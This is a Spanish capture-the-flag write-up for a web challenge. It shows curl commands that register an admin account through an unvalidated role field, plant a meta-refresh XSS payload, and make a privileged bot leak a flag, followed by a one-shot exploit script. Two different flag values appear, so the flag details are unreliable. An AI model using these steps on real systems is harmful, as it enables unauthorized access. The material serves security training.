Saltar al contenido principal

Operación DataStream: Infiltración en el Monitor de Tráfico (500)

Descripción del Reto

El sistema "Secure Data Access Terminal" es una plataforma interna de monitoreo donde los operadores pueden crear registros de datos (DATA-LOGs). El administrador ha ocultado una flag que solo puede ser obtenida explotando vulnerabilidades en el sistema.

URL objetivo: http://172.210.57.123:8004


Análisis de Vulnerabilidades

1. Registro sin Validación de Rol (Crítico)

El endpoint /register no valida correctamente el campo role, permitiendo a cualquier usuario registrarse como administrador.

2. Cross-Site Scripting (XSS) en DATA-LOGs

El contenido de los logs se renderiza sin la sanitización adecuada, permitiendo la ejecución de código JavaScript.

3. Bot Administrativo con Privilegios

El bot tiene acceso a la flag a través de una cookie y puede ser dirigido a visitar cualquier URL interna.


Explotación Paso a Paso

Paso 1: Registrarse como Administrador

# Registrar usuario con rol de administrador
curl -X POST http://172.210.57.123:8004/register \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=adminuser&password=adminpass&role=admin"

Explicación: El parámetro role=admin no está validado en el backend, permitiéndonos crear una cuenta con privilegios de administrador directamente.


Paso 2: Iniciar Sesión y Obtener Token

# Iniciar sesión y guardar cookies
curl -X POST http://172.210.57.123:8004/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=adminuser&password=adminpass" \
-c cookies.txt -v

Explicación: Al iniciar sesión, el servidor devuelve un token JWT en las cookies que autentica nuestra sesión como administrador. Guardamos las cookies en cookies.txt para requests futuros.


Paso 3: Crear DATA-LOG con Payload XSS

# Crear DATA-LOG con payload de redirección
curl -i -X POST http://172.210.57.123:8004/data-logs \
-b cookies.txt \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "content=<meta http-equiv=refresh content='0;url=http://localhost:3000/core-dump'>"

Respuesta esperada:

HTTP/1.1 302 Found
Location: /data-log/c340fd49-bdbf-43df-95cc-2c429d32b2c3

Explicación:

  • El payload <meta http-equiv=refresh> evade las restricciones de CSP
  • Cuando el bot visite esta página, será redirigido automáticamente a /core-dump
  • El ID del log (c340fd49-bdbf-43df-95cc-2c429d32b2c3) se obtiene del header Location

Paso 4: Ejecutar el Bot Administrativo

# Enviar el bot a visitar nuestro DATA-LOG
curl -X POST http://172.210.57.123:8004/dispatch \
-b cookies.txt \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "path=http://localhost:3000/data-log/c340fd49-bdbf-43df-95cc-2c429d32b2c3"

Explicación: El endpoint /dispatch solo está disponible para administradores y fuerza al bot a visitar nuestra URL maliciosa.


Paso 5: Recuperar la Flag

# Ver el contenido actualizado del DATA-LOG
curl http://172.210.57.123:8004/data-log/c340fd49-bdbf-43df-95cc-2c429d32b2c3

Resultado esperado: El contenido del log ahora incluirá la flag:

<div style="background:#1a1a1a; padding:15px; border: 1px dashed var(--color-secondary); color: var(--color-text-light);">
[ACCESS GRANTED] SECURE SYSTEM SECRET: ikerlan{meta_refresh_xss_to_flag}
</div>

Mecanismo Técnico Detallado

Flujo de la Explotación

  1. Registro como Admin → Bypass de control de acceso
  2. Inyección XSS → Ejecución de código en contexto del bot
  3. Redirección a /core-dump → El bot accede al endpoint privilegiado
  4. Escritura de Flag/core-dump escribe la flag en nuestro log
  5. Lectura de Flag → Recuperamos la flag del DATA-LOG

Por qué funciona el Payload

  • CSP Bypass: La política de seguridad permite meta refresh
  • Cookie del Bot: El bot tiene la cookie session_secret con acceso a la flag
  • Endpoint /core-dump: Requiere la cookie especial y escribe la flag

Comandos Completos en una Secuencia

# 1. Registro como admin
curl -X POST http://172.210.57.123:8004/register -d "username=adminuser&password=adminpass&role=admin"

# 2. Login y guardar cookies
curl -X POST http://172.210.57.123:8004/login -d "username=adminuser&password=adminpass" -c cookies.txt

# 3. Crear DATA-LOG malicioso
RESPONSE=$(curl -i -s -X POST http://172.210.57.123:8004/data-logs -b cookies.txt -d "content=<meta http-equiv=refresh content='0;url=http://localhost:3000/core-dump'>")
LOG_ID=$(echo "$RESPONSE" | grep -i "location:" | sed 's/.*\/data-log\///' | tr -d '\r\n')

# 4. Ejecutar bot
curl -X POST http://172.210.57.123:8004/dispatch -b cookies.txt -d "path=http://localhost:3000/data-log/$LOG_ID"

# 5. Obtener flag
curl http://172.210.57.123:8004/data-log/$LOG_ID

Lecciones de Seguridad

  1. ✅ Validar todos los campos de entrada, especialmente roles y privilegios
  2. ✅ Implementar sanitización robusta para contenido HTML
  3. ✅ Restringir el acceso a endpoints críticos con múltiples capas de autenticación
  4. ✅ Revisar políticas CSP para evitar bypasses con tags HTML alternativos

Flag Obtenida

ikerlan{l0l_y0u_4r3_4n_1ncr3d1bl3_w3b_3xp10!t3r}